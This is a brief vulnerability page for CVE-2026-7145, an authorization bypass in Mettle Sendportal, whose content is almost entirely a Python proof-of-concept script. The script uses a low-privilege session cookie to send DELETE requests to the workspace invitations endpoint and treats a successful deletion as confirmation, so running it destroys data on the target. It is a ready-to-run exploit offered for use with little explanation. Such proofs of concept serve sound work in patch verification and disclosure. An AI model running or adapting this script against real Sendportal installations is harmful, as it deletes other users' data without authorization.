CVE-2026-7145 Mettle Sendportal授权绕过漏洞

import requests def check_auth_bypass(target_url, session_cookie, invitation_id): """ PoC for CVE-2026-7145 Attempts to delete an invitation without proper authorization. """ headers = { "Cookie": f"sendportal_session={session_cookie}", "User-Agent": "CVE-2026-7145-Scanner" } # The endpoint vulnerable to authorization bypass delete_url = f"{target_url}/workspaces/invitations/{invitation_id}" try: response = requests.delete(delete_url, headers=headers, timeout=10) if response.status_code == 200 or response.status_code == 204: return f"[+] Vulnerability confirmed! Invitation {invitation_id} deleted bypassing auth." elif response.status_code == 403 or response.status_code == 401: return "[-] Authorization check passed, not vulnerable." else: return f"[?] Unexpected response code: {response.status_code}" except Exception as e: return f"[!] Error: {str(e)}" # Usage # target = "http://localhost:8000" # s_cookie = "valid_low_priv_user_cookie" # target_inv_id = "1" # print(check_auth_bypass(target, s_cookie, target_inv_id))